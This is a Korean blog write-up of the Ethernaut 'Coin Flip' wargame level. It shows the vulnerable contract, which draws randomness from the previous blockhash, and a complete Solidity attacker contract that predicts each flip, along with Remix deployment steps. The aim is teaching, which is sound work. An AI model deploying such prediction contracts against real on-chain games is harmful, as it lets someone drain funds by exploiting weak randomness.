Don't think! Just do it!

종합 IT 기술 정체성 카오스 블로그! 이... 이곳은 어디지?

Smart contract/Ethernaut 문제풀이

Ethernaut 문제풀이 #3 - Coin Flip

방피터 2022. 2. 28. 16:32

3번 문제 Coin Flip입니다. 동전뒤집기!

 

설명에도 동전의 앞면 뒷면을 예측하는 동전 뒤집기 게임이라고 나와 있네요. 사실 개인적으로는 블록체인 기술을 적용하면 딜러나 장부가 조작될 수 없다는 점에서 도박에도 적용하기 훌륭한 기술이라고 생각하고 있습니다. 하지만 이기기 위한 조건이 10번 연속 이기기입니다. 초능력을 사용하라고;;;;

요즘 유행인 오징어 게임 유리다리 건너기가 생각나네요. ㅎㅎ 거긴 연속 18번. 그에 비하면 양호하지만 유리 다리에서 죽은 사람들 생각하면 ㅠㅠㅠㅠ 자 10 연속 맞추러 갑시다.

메뉴얼을 잘 보자!

help 메뉴의의 Beyond the console을 읽어보는 게 좋을 것이라고 합니다. 제발 읽어 보자구요.ㅎㅎ

https://ethernaut.openzeppelin.com/help

 

Ethernaut

 

ethernaut.openzeppelin.com

 

여러가지 설명들이 있네요. Ethernaut 메커니즘, 콘솔 사용법, 그리고 우리가 봐야할 beyond the console도 있습니다.

아래 대강 해석해놓았습니다. 읽어보시지요 ㅎㅎ 제발~

 

Beyond the console

Some levels will require working outside of the browser console.

몇몇의 레벨들은 브라우져 콘솔 밖에서 수행되어야 합니다.

That is, writing solidity code and deploying it in the network to attack the level's instance contract with another contract. 다른 컨트렉트를 네트워크에 배포해서 해당 레벨의 인스턴스 컨트렉트를 공격하는 방식이 그렇습니다.

 

This can be done in multiple ways, for example:

이는 몇가지 방법으로 가능한데요, 예를 들어

  • Use Remix to write the code and deploy it in the conrresponding network See Remix Solidity IDE.
  • 리믹스를 이용해 네트워크에 코드를 배포하는 거구요.
  • Setup a local truffle project to develop and deploy the attack contracts. See Truffle Framework.
  • 로컬에 트러플 프로젝트를 세팅해 네트워크에 배포해 컨트렉트를 공격하는 거에요.

 

위 설명대로라면 레벨 3. Flip coin은 다른 컨트렉트를 네트워크에 배포하는 방식으로 레벨의 컨트렉트를 공격하게 해야 하겠군요.

그럼 파랑 버튼을 눌러 인스턴스를 받고 코드를 읽어봅시다.

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {//생성자
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
	//이전 블록의 해시 받아옴
    if (lastHash == blockValue) {
      revert();//블록 해시와 마지막 해시가 같으면 실행 중단
    }

    lastHash = blockValue;//다르면 last 해시 업데이트
    uint256 coinFlip = blockValue.div(FACTOR); //factor로 블록 번호 나눔
    bool side = coinFlip == 1 ? true : false; //1이면 true 아니면 false

    if (side == _guess) { //예측이 실제와 같으면
      consecutiveWins++; //연승++
      return true;//true 리턴
    } else {
      consecutiveWins = 0;//아니면 0
      return false;
    }
  }
}

자 다 읽었습니다. 결국은 변수 consecutiveWins를 10 이상으로 만들어 제출하라는 소리군요.

 

자 그럼 동전의 면이 어떻게 결정되는지만 알면 되겠군요. 당연하겠지만 랜덤한 소스를 사용해야만 하는데 코드에서 보면 이전 블록의 해쉬를 가져옵니다. 그리고는 고정된 팩터로 나눈 값으로 동전의 앞뒤를 결정하네요.

그런데 위에서 blockhash(block.number-1)라던지 Factor는 이미 컨트렉트 코드로 체인위에 올라갔을 거구요. 이런 정보는 다른 컨트렉트를 만들어도 똑같이 획득할 수 있습니다. 이런 점을 이용하면 연속해서 이기는 결과를 만들 수 있을 것 같군요 ㅎㅎㅎ

그림으로 그려보면 위와 같아요. 똑같은 계산식으로 만든 결과를 입력으로 사용하자는 것입니다. 그러면 그저 내가 만든 컨트렉트를 호출하는 것만으로 언제나 내가(정확히는 내 컨트렉트가) 이기는 결과가 나오겠죠? 아래는 제가 만든 컨트렉트에 사용한 코드에요.

pragma solidity ^0.6.0;

//다른 컨트렉트 호출하기 위한 interface 만들기~
interface CoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract myContract {

  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  //똑같은 팩터 사용
  
  //CoinFlip interface로 인스턴스 만들기
  CoinFlip coinflip;
  constructor(address _target) public {
      coinflip = CoinFlip(_target);//실제 인스턴스 주소가 생성자에 의해 입력됨.
  }
  function flip() public returns (bool) {
      uint256 blockValue = uint256(blockhash(block.number - 1));//같은 블록 얻어오기
    
      if (lastHash == blockValue) {
          revert();
      }
    
      lastHash = blockValue;
      uint256 coinFlip = blockValue/FACTOR; //같은 코인 앞뒤 계산
      bool side = coinFlip == 1 ? true : false;
    
      coinflip.flip(side);//계산된 결과를 변수에 넣어 coinflip 인스턴스의 flip함수 호출
  }
}

코드에 대한 설명은 주석으로 달아 놨습니다. 참고하세요. 이제 코드를 작성하고 배포합시다.

 

  1. 코드를 리믹스 위에 작성합니다. (컴파일은 자동으로 되는 것 같습니다.)
  2. 왼쪽 3번째 메뉴 deploy & run transaction으로 갑니다.
  3. Environment 항목에서 Injected Web3를 선택 후 메타마크스를 연결합니다.
  4. 자동으로 Account 항목에 자신의 메타마스크 지갑 주소가 설정됩니다.
  5. Contract 항목에서 자신이 만든 컨트렉트의 이름을 선택합니다.
  6. Deploy 옆 빈 칸에 Coin flip의 인스턴스 주소를 입력합니다.
  7. Deploy를 눌러 배포합니다.

내가 만든 컨트랙트를 테스트넷에 배포!

배포가 완료되고 나면 테스트를 해봅시다. 같은 화면 하단에 flip이라는 버튼이 새로 생겼어요. 자신이 배포한 컨트렉트의 flip함수를 실행할 수 있는 버튼입니다. 클릭하고 수수료를 내면 수행이 됩니다.

아래 처럼 레벨 컨트렉트 인스턴스 내용도 확인해보며 테스트해 봅시다. (제 경우에는 수행이 되었다가 안되었다가 하는데 테스트넷 블록 생성이 느려서 그런 것일까요?) 아래 화면처럼 consecutiveWins가 1씩 증가하는 것을 보실 수 있습니다. 10까지 만들어 봅시다.

으 드디어 10을 채웠습니다. 10 연승 달성 ㅎㅎ

 

자 완료했으니 제출합시다. 참 짜릿한 순간입니다. 으흐흐흐 더 칭찬해줘!!!

 

자 오늘의 교훈은 뭘로 할까요? 오라클 문제니 뭐니 무겁게 가지 말고 음...

 

블록체인 내부 리소르를 절대로 랜덤 함수에 사용하지 말자!

 

그럼 다음 레벨에서 봐요!!

 

안녕~!

 

 

 

 

 

***참고: blockhash등의 정보

https://solidity-kr.readthedocs.io/ko/latest/units-and-global-variables.html

반응형